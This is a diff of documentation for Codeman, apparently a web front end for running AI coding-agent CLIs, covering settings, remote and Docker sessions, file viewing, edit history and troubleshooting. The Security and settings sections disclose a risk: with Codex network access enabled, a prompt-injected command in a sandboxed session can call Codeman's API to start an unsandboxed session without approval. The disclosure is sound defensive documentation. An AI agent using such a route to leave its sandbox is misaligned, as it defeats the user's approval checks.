`npm install -g`. That folder is inside `~/.codeman/`, so saying yes to the data directory
question that follows removes it even if you kept it a step earlier, and the question says
so. By default neither route removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand
if you want the state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
point at directories you already had, but cases created from scratch have their only copy
there.
+4 -2
View File
@@ -66,8 +66,9 @@ A row of keys above the virtual keyboard, and what it contains depends on the se
**Agent sessions** get quick actions: `/init`, `/clear`, `/compact`, a Compose key, `Esc`,
a path picker, and 🧠 when Read My Mind is on. Compose opens a multiline editor with
autocorrect: Enter adds a new line, and only Send delivers the text, as one paste followed
by Enter, so your line breaks reach the agent intact. Anything already typed on the terminal
prompt moves into the editor when it opens. Drafts are kept per session and in memory only,
by Enter, so your line breaks reach the agent intact. A prompt written in Persian, Arabic or
Hebrew lays out right to left. Anything already typed on the terminal prompt moves into the
editor when it opens. Drafts are kept per session and in memory only,
so switching tabs keeps them and a page reload forgets them; a dot on the key shows a draft
is parked. The editor's Attach button attaches photos, videos or documents and puts their paths
into the draft.
@@ -187,6 +188,7 @@ Setup in [Notifications And Approvals](Notifications-And-Approvals).
The terminal viewport is small. **Last Response** (opt-in header button) renders the agent's
last answer as scrollable text instead, with a **More** button for additional context.
Persian, Arabic and Hebrew answers read right to left there.
The [File Viewer](Working-With-Files) works on phones too, including edit mode, which is
enough to fix a typo an agent introduced while you are away from your desk.
+5 -2
View File
@@ -85,8 +85,10 @@ In the browser this means:
The operations that act on the whole server are admin actions too: updating Codeman,
opening the multi-display window, regenerating the tunnel QR code (it clears every user's
pending QR login) and cleaning up stale session state. **Revoke All** signs a regular user
out of their own logins only, and the tunnel panel lists only their own.
pending QR login) and cleaning up stale session state. So is the **Opened outside Codeman**
block on the home screens, which shows everyone's processes and opens a shell as the server's
account. **Revoke All** signs a regular user out of their own logins only, and the tunnel
panel lists only their own.
Per-user server settings are not part of this version.
@@ -99,6 +101,7 @@ Non-admins get tighter defaults, and lifting them is an explicit per-user grant:
| Claude runs in `auto` permission mode | Anthropic's classifier-guarded mode instead of skip-prompts. |
| Raw shell sessions require a grant | A plain shell is unmediated machine access. |
| Skip-permissions requires a grant | Same reasoning. |
| Codex **Allow network access** requires a grant | It lets a sandboxed command reach any host, Codeman's own API included. |
| Cron `launchCommand` requires a grant | It is an arbitrary command on a schedule. |
| Pi project trust defaults to off | Trust makes Pi execute repo-local TypeScript. |
+6
View File
@@ -13,6 +13,7 @@ opening the session.
| Desktop notification | Another window on the same machine | Opt-in |
| Push notification | Anywhere, even with no tab open | Opt-in |
| Webhook (ntfy, Slack, Discord) | Anywhere, with no browser or subscription at all | Opt-in |
| Discord bridge (two-way) | Anywhere, and you can answer in a thread per tab | Opt-in |
| Approvals Inbox | One queue for Claude, Codex and DeepSeek prompts | Opt-in |
| Phone overview | Phone home screen, NEEDS YOU section | On |
| Away Digest | Afterwards, as a summary | Opt-in |
@@ -66,6 +67,11 @@ Setup:
Once subscribed, a blocking prompt reaches your phone even from a locked screen.
## Discord bridge: answer from your phone
A webhook is one-way. To also **reply** to a blocked agent, use the [Discord Bridge](Discord-Bridge): a
thread per tab, your reply typed into that tab, files in both directions.
## Webhooks: ntfy, Slack, Discord
**Opt-in, off by default. One channel for the whole server.**
+17 -4
View File
@@ -29,11 +29,18 @@ through a jump host. Your laptop can sleep, change networks, or close, and the r
Hosts are saved and reusable, so a second case on the same machine is just a path. Host
profiles can also carry per-run-mode launch command overrides, for when the binary lives
somewhere unusual on that host.
somewhere unusual on that host. An override runs on the remote in your login shell, so a `$`
in it expands there, not on the Codeman machine.
The remote host needs **tmux**. Codeman probes for it when you link the host rather than
failing later at launch.
The remote login shell can be bash, zsh, dash, fish, csh or tcsh. A tcsh session reads `.tcshrc`
and not `.login`, so set the PATH that finds `tmux` and your agent CLI in `.tcshrc`. The tmux check
also needs a `command` executable under tcsh: macOS and the BSDs ship one, Debian and Ubuntu do
not, so linking a tcsh host there stops at `could not verify tmux`. nushell and elvish cannot run a
remote session at all.
## What actually runs
The agent lives inside a dedicated tmux server on the **remote** host, and Codeman fronts it
@@ -73,13 +80,19 @@ Attaching to someone else's session and closing your tab must not end their run,
not. Several clients can attach the same remote session at different window sizes without
clamping each other, and discovery shows a shared badge with the client count.
This list holds Codeman's own sessions. A tmux session someone started by hand on the host is
found by the home screen instead: see
[Opened outside Codeman](The-Dashboard#opened-outside-codeman).
## Files
Previews, downloads and text reads in a remote case go over the same ssh connection the
session uses, so a clicked path opens the file on the machine the agent is on, `Range`
seeking included. Nothing is copied to the Codeman host. Editing, Office previews,
thumbnails, the file tree and the tail viewer are not available remotely and answer a clear
400 rather than a misleading 404. Details in [Working With Files](Working-With-Files).
seeking included. Nothing is copied to the Codeman host, apart from the diffs the
[Edit history](Working-With-Files#edit-history) panel keeps, which works for remote Claude
sessions too. Editing, Office previews, thumbnails, the file tree and the tail viewer are not
available remotely and answer a clear 400 rather than a misleading 404. Details in
[Working With Files](Working-With-Files).
## Security
+11 -4
View File
@@ -145,15 +145,16 @@ log stream --predicate 'process == "node"' # macOS, noisy
| Install route | Update with |
| ------------- | ------------------------------------------------------------------------ |
| Installer | Re-run the one-liner, or **App Settings → System → Updates**. |
| Installer, without git | Re-run the one-liner. The in-app updater says so instead of offering an update. |
| npm | `npm update -g aicodeman` |
| git clone | `git pull && npm install && npm run build`, then restart. |
| Docker Compose | Re-run `Start-Codeman.sh`, or the in-app updater, which restarts the container in place. |
| Docker Compose | The in-app updater, which restarts the container in place, or `git pull`, then re-run `Start-Codeman.sh`. |
### The in-app updater
**App Settings → System → Updates**, for git-clone installs supervised by systemd or
launchd. npm installs report as non-updatable, and an unsupervised install is told to
restart manually.
launchd. npm installs and installs without git report as non-updatable, and an unsupervised
install is told to restart manually.
The interesting part is that the update restarts the very process running it. So the real
work runs in a **detached script that outlives the restart** and writes progress to a status
@@ -188,7 +189,13 @@ the bind-mounted directories with the right owner, honours a `docker-compose.ove
and refreshes the build volumes when the checkout moved under them. The in-app updater
applies code only and restarts by letting the container exit, so it refuses a release that
changes the Dockerfile, the compose file, or adds a new `.env` key, until you re-run the
script. Guide:
script.
With no `docker/.env` yet, the script first asks for a data folder, a port and a password and
writes that file. It then waits up to 180 seconds for Codeman to answer and exits 1 if the
container crash-loops or never answers; pass `--no-wait` for scripted use. `Start-Codeman.sh`
and `Update-Codeman.sh` both refuse to run while `CODEMAN_PASSWORD` is still the example
`changeme`. Guide:
[`docker/README.md`](https://github.com/Ark0N/Codeman/blob/master/docker/README.md).
## The tunnel as a service
+7 -1
View File
@@ -68,7 +68,7 @@ be wrong for at least one of them:
| **File Viewer** | Real path resolution before boundary checks, so symlinks cannot escape. Sensitive trees blocked. Edit mode adds an extension allowlist, a size cap, `.git` denial, and optimistic concurrency. It never creates files. |
| **Attachments** | An id-based registry, so browser requests never carry absolute paths. The magic-link scanner is prompt-injectable by nature and is therefore force-confined to the session's workspace. Extension allowlist, not a blocklist. |
| **Path picker** | Its own root allowlist rather than the workspace confinement. In multi-user mode a non-admin gets only their own user space, because per-user spaces live inside the home directory. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host; writes, Office previews and thumbnails are refused. |
| **Remote cases** | Reads go over the session's own ssh connection and are resolved and contained on the remote host, with a bounded number of ssh children. Nothing is copied to the Codeman host, apart from the diffs the Edit history panel reads from a remote Claude session's transcripts while it is open, kept in a private bounded store (0600) that is deleted with the session's record. Writes, Office previews and thumbnails are refused. |
Downloads block sensitive paths outright (`.env`, credentials files, `~/.ssh`, AWS
credentials), and SVG and HTML are served as downloads with `nosniff` so they cannot execute
@@ -99,6 +99,12 @@ Stated plainly, because a security page that only lists strengths is not useful:
bypass requires a secret unconditionally when auth is on.
- **The agent CLIs have their own trust models.** Pi's project trust executes repo-local
TypeScript, for instance. See [Agent CLIs](Agent-CLIs).
- **Allow network access takes Codex's sandbox out of the picture.** The setting (App
Settings, Codex, off by default) lets commands in Codex's sandbox call Codeman's API,
which can start a session outside the sandbox with no approval prompt. A password does
not stop this, because a session inherits the server's password. It applies to every new
local Codex session, so a prompt-injected command in any of them can run anything you
can. Leave it off unless you trust what those sessions run.
## Privacy
+28 -6
View File
@@ -38,8 +38,8 @@ as usual and tells them that server-wide settings can only be changed by an admi
### Updates
Current version, a manual check, and the in-app updater. Covers git-clone installs
supervised by systemd or launchd; npm installs report as non-updatable. See
[Running As A Service](Running-As-A-Service).
supervised by systemd or launchd; npm installs and installs without git report as
non-updatable. See [Running As A Service](Running-As-A-Service).
### Terminal & Input
@@ -49,7 +49,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
| Keep Size Under Keyboard | On | For local Claude sessions, the on-screen keyboard no longer resizes the session: the terminal keeps its rows and the view scrolls so the prompt sits just above the keyboard. Resizing made Claude reprint its screen and drop transcript lines from history. Codex, Claude's fullscreen mode, remote and Docker sessions resize as before. See [Mobile Guide](Mobile-Guide). |
| CJK Input | Off | IME composition through a dedicated text field. |
| Extended Keyboard Bar | Per device | Which accessory bar phones get. Shell sessions override it while they are active. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. |
| Wheel Scrolls Local History | Off | Keeps the wheel on the local buffer instead of forwarding it to the CLI. Fullscreen pi leaves that buffer empty and has no paging fallback, so with this on the wheel does nothing there. |
| Auto Copy Selection | Off | Copies highlighted terminal text to the clipboard the moment you finish selecting it. Ctrl+C still copies on demand. |
| Trim The Pane Margin On Copy | On | Takes the left margin a full-screen agent CLI paints down its own edge off a copy, so the text pastes flush. Each CLI declares its own width, and the strip never exceeds the indent every selected line shares, so nesting is kept. Claude Code and Codex declare a margin; a shell does not. |
| Normal / Bold font weight | xterm defaults | Per device, each slot from 100 to 900. The bundled JetBrains Mono renders every step, so a lighter normal weight makes Claude's bold headings stand out. Applies live to the terminal, both echo overlays and open team panes. |
@@ -62,7 +62,7 @@ supervised by systemd or launchd; npm installs report as non-updatable. See
Chips for every optional header control, with a live preview of the resulting header:
Run, Font Size, System Stats, Redraw Terminal, Response Viewer, Away Digest, Session
Manager, Attachments, File Viewer, Multi-monitor, Split, Tiles, Plan Usage, Lifecycle Log, Monitor,
Manager, Attachments, Edit history, File Viewer, Multi-monitor, Split, Tiles, Plan Usage, Lifecycle Log, Monitor,
Project Insights, File Browser, Subagents, Approvals Inbox, Read My Mind, Ultracode Agents,
Ultracode Windows, Cron.
@@ -106,6 +106,12 @@ nothing waits for a login, and that is a default, never an override: your own `G
repository's `core.sshCommand`, is used when either is set. ⚠️ The default's `StrictHostKeyChecking=accept-new`
records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write.
**Edit history** (per device, off by default, never on phones) adds a header button for the
active session's edit history: every edit the agent and its subagents made, with its diff, and
images it produced. Claude sessions, local and remote (SSH). Nothing is read until you open the window, and it
stores those diffs (secrets included) under `~/.codeman/edit-history/`; see
[Working With Files](Working-With-Files#edit-history).
Most default to off. The stock desktop header is system stats, File Viewer, Tiles, and the gear.
**Header Stats Style** picks how the system stats and plan usage are drawn: *Compact*
(default; two pills with a ring beside every value), *Tiles* (label over value with a bar underneath) or *As before* (the bars and the `5H · 7D` chip). Desktop only, per device.
@@ -187,6 +193,20 @@ attached.
section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server
instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints).
**Model on this Mac** is not a setting: it is a read-only answer. When the Codeman server
runs on a Mac with Apple silicon, it shows that Mac's chip, memory and free disk space, the
local coding model that fits it best with the agent CLI to run it, what the model needs of
the memory the Mac can give one, its download size and an estimated speed, and the other
models that fit (Good or Tight for the memory, Slow or Speed unknown for the speed). A Mac
that can only run a model under 12 billion parameters is told so in plain words, and a Mac
with too little memory, too little free disk space or an Intel processor is told why nothing
is offered. The numbers are estimates from a catalogue that ships with each release; nothing
has been tested on your Mac. **Nothing is downloaded or installed from here yet**: setting
the model up from Codeman is the next step and is not built. The same answer appears as a
card on the welcome screen, which you can hide per device (it stays here). The group is not
shown when the server runs on Linux or Windows, and in multi-user mode only an admin sees
it. The "Mac" is always the machine the server runs on, not the device you are reading on.
### Agents & CLIs
| Setting | Notes |
@@ -202,6 +222,7 @@ instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-E
| Default Codex model | Model for new local Codex sessions; empty uses Codex's own config. Letters, digits, `.` `_` `-` `/` only. |
| Default Codex reasoning effort | Reasoning level for new local Codex sessions; empty uses Codex's own config. |
| Bypass approvals and sandbox | Starts new Codex sessions with `--dangerously-bypass-approvals-and-sandbox`. Read [Agent CLIs](Agent-CLIs) before enabling. |
| Allow network access | Starts new local Codex sessions (Run menu, Resume and the API; not scheduled jobs) with `sandbox_workspace_write.network_access=true`, so commands in Codex's workspace-write sandbox can use the network. The [Codeman Skill](Codeman-Skill) needs it to reach this server from a Codex session. It applies to every such session, and those commands can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even when a password is set: see [Security](Security#what-codeman-does-not-protect-against). It applies where Codex runs the folder in workspace-write (a project you trusted in Codex) and does not change Codex's sandbox mode: a folder Codex runs read-only keeps the network closed, and Codex asks for approval per command. Synced, off by default; forced off for users without the privileged-commands grant in multi-user mode. |
| Animated status effects | Cosmetic. |
| MCP server sync | Copies the MCP servers each installed, enabled CLI (Claude, Codex, Gemini, OpenCode, Antigravity) and GitHub Copilot CLI has into the others' own config files. Synced, off by default, admin only in multi-user mode. Turn it on and **Apply** or **Save** (Apply keeps Settings open), then **Preview** shows what would change and **Sync now** applies it. It only adds missing servers, keeps the previous file as `.codeman-bak`, and leaves a file that receives env values or headers readable by you only. A config dir moved by `CODEX_HOME`, `CLAUDE_CONFIG_DIR`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME` or `COPILOT_HOME` in Codeman's own environment is followed. |
@@ -213,8 +234,9 @@ how long a desktop notification stays up before Codeman closes it (**Browser
notification display time**, default 8; both per device, and your OS may close a
desktop notification sooner), the idle
threshold that decides when a quiet session counts as needing you, and the server-wide
webhook (ntfy, Slack, Discord or generic JSON; admins only in multi-user mode). See
[Notifications And Approvals](Notifications-And-Approvals).
webhook (ntfy, Slack, Discord or generic JSON; admins only in multi-user mode), and the
Discord group for the two-way bot (token, IDs, thread and ping options; see
[Discord Bridge](Discord-Bridge)). See [Notifications And Approvals](Notifications-And-Approvals).
### Voice
+33
View File
@@ -287,6 +287,39 @@ Two extras depending on the device:
- **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
current sessions, then past ones. On by default.
### Opened outside Codeman
A tmux session you started by hand (`tmux new -s work`, then `claude`, or just a shell) shows
up on the home screen under **Opened outside Codeman**, on the desktop and in the phone
overview. **Open** wraps it in a tab, and **Go to tab** on a row means it already has one.
| Where it runs | How it is found |
| -------------------- | ---------------------------------------------------------------------------- |
| **This machine** | Automatically, every few seconds while the home screen is up. |
| **A container** | The `⟳` button in the block's header scans the containers behind your Docker cases. |
| **Over SSH** | The same button scans your saved remote hosts. |
The container and SSH scan costs one connection per target, so it runs when you press the
button, and **Rescan** runs it again.
- **Closing the tab only detaches.** The session keeps running, and the close dialog offers no
kill. Opening one types nothing into it.
- **Codeman did not start it,** so it will not drive it: respawn, Ralph, auto-clear,
auto-compact, auto-resume, custom model endpoints, prompt uploads and the image watcher are
refused, the git panel shows nothing, and Edit history says it is not available.
- **The tab opens on the session's first window,** and the row describes that same window.
- **It joins like a second tmux client.** While the tab is open it can resize a session
someone else is viewing, the way any second client does, and that reverses when it closes.
- **A short line in the block says why a session is missing.** One whose name holds unusual
characters is skipped, and so is one named so that tmux reads the name as something else (it
starts with `=`, `@` or `%`, or is a bare `~`). Rename it with `tmux rename-session`. A tmux
server that stopped answering costs only its own sessions. One case gets no line: a session
named `codeman-*` or `claudeman-*`, or on a Codeman socket, counts as Codeman's own.
Only sockets in tmux's own folder are scanned, so `tmux -L <name>` is found and
`tmux -S /custom/path` is not. In multi-user mode the block is for admins, since it shows
everyone's processes.
## Panels
| Panel | Opened from | Covered in |
+41 -1
View File
@@ -221,6 +221,17 @@ Things to try:
Codex with mouse tracking on gets the wheel forwarded like fullscreen Claude; otherwise
it pages its transcript or scrolls locally, while `Shift+Wheel` always uses local scrollback.
### The wheel does nothing in a pi session
Fullscreen pi, the default since pi 1.0.0, scrolls its own transcript, so the wheel is
forwarded to it while it has mouse tracking on. If the wheel does nothing, turn off
**Wheel Scrolls Local History**: that setting keeps the wheel on a local buffer pi leaves
empty, and pi has no paging fallback. `PageUp` and `PageDown` on a keyboard still reach pi.
Codeman strips pi's mouse enables, so a drag selects text in the browser rather than using
pi's own selection or scrollbar drag. With `tuiMode: regular` pi is inline and the wheel
scrolls local history.
### Selected text is invisible on a light skin
Update. Every skin named its selection colour under a key xterm renamed in v5, so the four
@@ -246,6 +257,20 @@ If you are sending input over the API instead, your payload must end with `\r` o
is ever sent. The request still succeeds and the text sits unsubmitted in the composer. See
[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
### Persian, Arabic or Hebrew looks wrong in the terminal
The terminal is xterm.js, which does not support right-to-left text yet
([xtermjs/xterm.js#701](https://github.com/xtermjs/xterm.js/issues/701)). It puts each
character in its own cell from left to right, so a sentence comes out reversed, and the
default WebGL renderer also draws the letters unjoined. Codeman cannot fix that without
replacing the terminal.
Read the answer in **Last Response** instead, where it lays out right to left, or open a
Markdown file in the [File Viewer](Working-With-Files). On desktop, turning off **WebGL
Renderer** in **App Settings → Terminal & Input** and reloading joins the letters, so each
word reads correctly, but the words of a sentence still run left to right. Phones already
use that renderer.
## Mobile
### The keyboard covers the terminal, or scroll position jumps
@@ -329,6 +354,21 @@ Start the stack with `bash docker/Start-Codeman.sh` rather than a plain `docker
and update: since 1.29.0 the entrypoint corrects a root-owned bind mount before dropping
privileges. See [Running As A Service](Running-As-A-Service).
### Compose: `CODEMAN_PASSWORD is still the example value "changeme"`
`Start-Codeman.sh` and `Update-Codeman.sh` refuse that password before they build or stop
anything, because the container publishes its port on every interface and holds the Docker
socket, so whoever signs in controls Docker on the host. Set a real password in `docker/.env`
and run the script again.
### Compose: `Codeman did not come up`, or no answer after 180 seconds
`Start-Codeman.sh` waits for the server after `up -d`. `did not come up` means the container
exited, restarted or went unhealthy, and the script prints its last log lines. `has not
answered after 180 seconds` means it is still running but silent, so on a slow host it may
just need longer: follow it with `docker compose logs -f codeman` from `docker/`. Either way
the script exits 1, and `--no-wait` skips the wait for scripts that check on their own.
### A remote SSH session dropped and did not come back
A bounded-backoff watcher reattaches dropped sessions, and it is on by default. Intentional
@@ -353,7 +393,7 @@ On an HTTPS install, add `-k` to the curl commands and use the `https://` URL.
Open an [issue](https://github.com/Ark0N/Codeman/issues) with:
- OS and version.
- Install method: installer, npm, or git clone.
- Install method: installer (with or without git), npm, or git clone.
- `codeman --version`.
- Browser and version, if the problem is in the UI.
- Which CLI the session was running, and its version.
+3 -1
View File
@@ -77,7 +77,9 @@ Turning on either starts the watcher.
**Last Response** (header button, opt-in) renders the agent's last answer as scrollable text
rather than terminal output. It exists mostly for phones, where reading a long answer in a
terminal viewport is painful. **More** loads additional context.
terminal viewport is painful. **More** loads additional context. Persian, Arabic and Hebrew
answers read right to left here, which the terminal cannot do, while code and the file paths
it links stay left to right.
## After the fact
+110 -19
View File
@@ -6,15 +6,25 @@ until you get home.
## The File Viewer
A panel that browses the active session's working directory. Its header button is on by
default; if it is missing, re-enable it in **App Settings → Header & Panels**.
A panel that browses the active session's working directory, or the git worktree its agent
moved into ([Git Worktrees](Git-Worktrees#when-an-agent-moves-into-a-worktree)). Its header
button is on by default; if it is missing, re-enable it in **App Settings → Header & Panels**.
The panel and its search list up to 5,000 files and folders per load, shallow levels first and
taking turns between folders, so one huge folder cannot use up that limit before the ones after it,
or the folders inside it, get a turn. They also stop opening folders after reading 250,000 entries,
so a workspace with several enormous folders can still leave later ones unread. When a workspace is
bigger than either limit the status line says `(truncated)`, and an expanded folder the scan did
not finish shows **Not fully scanned** rather than looking empty. A folder that does not answer,
such as a network mount that went away, is skipped rather than waited on and is marked the same way,
so a search can miss what is inside it. The panel's Refresh button tries it again.
It renders what it can:
| Kind | Behaviour |
| ------------------------ | ------------------------------------------------------------------------- |
| Text and code | Plain preview with Lines (line numbers) and Wrap toggles in the header. Long files are truncated in plain preview. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. The MD pill in the header flips to source. |
| Markdown | Rendered by default: headings, tables, code blocks with copy buttons, images and links relative to the file (root-relative ones resolve from the workspace root, as on GitHub). Links to another heading of the same file (`[Install](#installation)`) scroll to it, with GitHub's heading names (lower-case, punctuation dropped, repeats numbered `-1`, `-2`), and never leave the page. Opened from an attachment card, where the file's folder is unknown, relative images show their alt text and relative links show as plain text. Persian, Arabic and Hebrew read right to left, each block following its own first letter, while code stays left to right. The MD pill in the header flips to source. |
| Images | Inline. |
| Audio and video | Inline with a working scrub bar, because range requests are supported. |
| Spreadsheets (`.xlsx`) | Read-only grid, parsed in your browser (never on the server), up to 10 MB. `.xls` and `.ods` are download only. |
@@ -87,7 +97,10 @@ detected at once would fork ten multi-minute converter processes.
File paths in a session are links. That works in two places:
- **In the terminal**, on any absolute path an agent prints.
- **In the terminal**, on any path an agent or a command prints. A relative path (`src/app.ts`,
`../notes.md`) resolves against the directory the session's pane is in now, so after a `cd`
in a shell it opens the file there; until the pane reports a directory, and always for remote
SSH and Docker cases, it resolves against the session's working directory.
- **In the response viewer**, where paths are usually written as prose or in backticks. They
render as underlined monospace links. A Markdown link whose target is a path
(`[report](/tmp/run/report.json)`, the way Codex cites files) opens the same way.
@@ -123,9 +136,11 @@ can send what it can read to any host, open HTML only from sources you trust, as
your own desktop. The **Page**
pill in the viewer header switches to the source view (where **Edit** works as for any text
file), and the viewer falls back to source on its own when a page cannot be rendered: a remote
(SSH) case, an HTML file inside a hidden folder, or one sitting directly in a broad folder such
as your home folder or `/tmp` (the page may read the files in its own folder tree, so move it
into a folder of its own). The raw file routes still serve HTML as a download only.
(SSH) case, an HTML file inside a hidden folder (which includes `.claude/worktrees/<name>` after
an agent [moved into a worktree](Git-Worktrees#when-an-agent-moves-into-a-worktree)), or one
sitting directly in a broad folder such as your home folder or `/tmp` (the page may read the
files in its own folder tree, so move it into a folder of its own). The raw file routes still
serve HTML as a download only.
Text previews are capped at the first 500 lines, fetched as a partial read, so clicking a
one-gigabyte log does not try to paint one.
@@ -144,8 +159,8 @@ session uses: one `realpath` plus `stat` probe for the file and the workspace ro
streamed `cat` (or a slice of it, so video seeking works). Symlinks are resolved on the host
that can resolve them, the size cap applies to the remote size before a byte is requested,
and an unreachable host answers 502 rather than pretending the file is missing. Nothing is
ever copied onto the Codeman host, and a same-named local file is never served under a
remote name.
ever copied onto the Codeman host, apart from the diffs the [edit history](#edit-history)
stores, and a same-named local file is never served under a remote name.
Not available over ssh, and said so with a 400 instead of a misleading 404: editing in
place, Office previews and generated thumbnails (both need the bytes on the server's disk),
@@ -154,25 +169,38 @@ their workspace is bind-mounted at the same path.
## The path picker
For choosing a path rather than typing one. It appears in two places:
For choosing a path rather than typing one. It appears in these places:
- **Browse** in **Add Case → Link Existing**.
- **Browse** in **Add Case → Create New**, under **Create in a custom folder**.
- **Browse** in **Add Case → Clone Repo**, under **Clone into a custom folder**.
- **Browse** on the folder fields of **Add Case → Docker**.
- The **📁 Path** key on the mobile keyboard bar.
It browses one directory at a time and can show hidden entries on request. The current
folder is an editable field: type or paste a path and press Enter (or **Go**) to jump
straight there, and a full file path lands in its folder with that file selected. The
**Sort** control orders each listing by name or by modified time (newest first is the
quick way to the file an agent just wrote), with folders always ahead of files; the
choice is remembered per device. The picker inserts the path into your prompt
**without** pressing Enter, so nothing is submitted by accident. Its sibling **⌫ All**
key clears the unsent prompt, and never sends the agent's `/clear` command.
It browses one directory at a time and can show hidden entries on request (the Docker
**Container Workdir** picker always lists them). The current folder is an editable
field: type or paste a path and press Enter (or **Go**) to jump straight there, and a
full file path lands in its folder with that file selected. The **Sort** control orders
each listing by name or by modified time (newest first is the quick way to the file an
agent just wrote), with folders always ahead of files; the choice is remembered per
device. A **Browse** button fills the field beside it. The **📁 Path** key inserts the
path into your prompt **without** pressing Enter, so nothing is submitted by accident.
Its sibling **⌫ All** key clears the unsent prompt, and never sends the agent's `/clear`
command.
In the **Link Existing**, **Create New** (custom folder) and **Clone Repo** (custom folder)
pickers, **+📁** (New folder) makes a folder inside the folder you are viewing and selects
it. Names use letters, numbers, spaces and `_ - . ~` (not starting with a dot or `~`). The
cases folder is refused, since every folder there is already a case: pick a folder outside
it, or make the case with **Add Case → Create New** or **Clone Repo** (no custom folder).
This is a separate file-serving surface from the viewer, with its own rules: it allowlists
your home directory, the cases directory, and anything in `CODEMAN_FILE_PICKER_ROOTS`, and
blocks sensitive trees. In multi-user mode a non-admin gets only their own user space as a
root, because per-user spaces live inside the home directory and a home-directory root would
expose everyone.
expose everyone. The Docker **Container Workdir** picker lists the inside of the container
instead, read-only, so these host rules do not apply to it; it is admin-only in multi-user
mode.
## Files into a session
@@ -272,6 +300,69 @@ data comes from `GET /api/sessions/:id/git-status`, `GET /api/sessions/:id/git-d
click or the interval you turned on, `POST /api/sessions/:id/git-fetch`
(see the [API reference](https://github.com/Ark0N/Codeman/blob/master/docs/api-reference.md)).
## Edit history
The Git panel shows what is different now. The edit history shows what the agent did, one edit
at a time, including edits that were later undone or committed. Turn on **App Settings → Header &
Panels → Header → Edit history** (per device, off by default) and a clock button appears in the
header next to Attachments. It is not shown on phones.
Click it for a draggable window listing the active session's edits, newest first:
- One row per Edit or Write, with `new` for a file the agent created, `edit` otherwise,
and the lines added and removed. **Click a row** to see that edit's diff inline, coloured like the
Git panel; a diff over 64 KB is cut short. **Click the path** to open the file in the preview.
- Edits made by subagents carry a chip with the subagent's task; hover it for the agent type and
its worktree branch. **Main agent only** hides them. **Group by file** puts the edits under
their file, with the totals on the file's row.
- Images an agent produced with a shell command (a render, a plot, a screenshot) appear as rows with
a thumbnail: a `.png`, `.jpg`, `.gif`, `.webp`, `.avif` or `.svg` path named in the command or
its output counts when the file's modification time falls within that command's run. Images the
agent sent you count as well. Images outside the workspace and SVGs show no thumbnail. Click one
to open it in the preview.
- **Load older** reads further back in the conversation, in the main agent's transcript and the
subagents' alike (up to three transcripts per click; with more, they take turns).
- After `/clear` or a resume, the edits of the earlier conversation stay listed, and the window
first catches up on the ones it had not read yet. **Load older** then goes back within the new
conversation.
It works for Claude sessions, local and remote (SSH). Docker sessions, other CLIs' sessions and
tmux sessions opened outside Codeman say so instead.
A remote session's images show no thumbnail (each would be one more SSH read); click one to
preview it. A remote host that is asleep is never woken for the history: the window shows the
stored edits with the SSH error on top.
How it reads:
- **Only while you look.** The history is read from the session's Claude transcript when you open
the window, and again after each tool call that can change files and at the end of each turn,
while it stays open on that session (a remote session at the end of each turn only: its host
sends no tool events). A closed window reads nothing, and Codeman does no work in the
background for sessions nobody looks at.
- **The transcript is found through the session's hooks.** Each prompt tells Codeman where the
session's transcript is. Right after a server restart, before the next prompt, Codeman looks in
the session's `CLAUDE_CONFIG_DIR` if you set one for it in Codeman, else in the default config
directory. A `CLAUDE_CONFIG_DIR` set outside Codeman (in a shell profile or a wrapper script)
is only known after the next prompt; until then the window says "No transcript found for this
session yet". A remote session's transcript is looked up on its host over SSH: the
conversation its Claude writes now, else the most recently written of the one the window
showed last and the session's own, under the remote user's `~/.claude`, or under
`CLAUDE_CONFIG_DIR` when the host sets it for every SSH command (`.zshenv`,
`/etc/environment`); one set only in `.profile`, `.bash_profile` or `.zshrc` is not seen.
- **The history is stored, and it holds secrets.** Every diff an agent wrote is copied to
`~/.codeman/edit-history/<session-id>.json`, including API keys or `.env` contents it edited. The file is
readable by your user only, capped at 500 edits and 4 MiB of diff text per session (the oldest
are dropped), never part of search, blocked from every file route, and deleted when you delete
the session (a file left behind, by a crash for instance, goes at the next start). A pinned session you kill keeps its record and its history until you unpin and
delete it.
- **Images go through the existing file routes.** A thumbnail inside the workspace uses the File
Viewer's route. An image outside it opens like any clicked path outside the workspace (no
notification, same file-type allowlist and sensitive-file blocklist). No new route serves a file.
The data comes from `GET /api/sessions/:id/edits`, `GET /api/sessions/:id/edits/:entryId` and
`POST /api/sessions/:id/edits/older` (see the
[API reference](https://github.com/Ark0N/Codeman/blob/master/docs/api-reference.md)).
## Gotchas
- **The viewer follows the active session's workspace.** Switching tabs changes what you are
+1
View File
@@ -25,6 +25,7 @@
- [Unattended Runs](Keeping-Agents-Running)
- [Notifications & Approvals](Notifications-And-Approvals)
- [Discord Bridge](Discord-Bridge)
- [Cron Jobs](Cron-Jobs)
- [Autonomous Loops](Autonomous-Loops)
- [Watching Agents Work](Watching-Agents-Work)
+1139 -78
View File
File diff suppressed because it is too large. Load diff
+12 -30
View File
@@ -1,12 +1,12 @@
{
"name": "aicodeman",
"version": "1.46.0",
"version": "1.49.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "aicodeman",
"version": "1.46.0",
"version": "1.49.0",
"hasInstallScript": true,
"license": "MIT",
"workspaces": [
@@ -63,7 +63,7 @@
"exceljs": "4.4.0",
"fflate": "0.8.3",
"pixelmatch": "^6.0.0",
"playwright": "^1.58.0",
"playwright": "^1.64.1",
"pngjs": "^7.0.0",
"postcss": "^8.5.15",
"prettier": "^3.4.0",
@@ -9736,50 +9736,32 @@
}
},
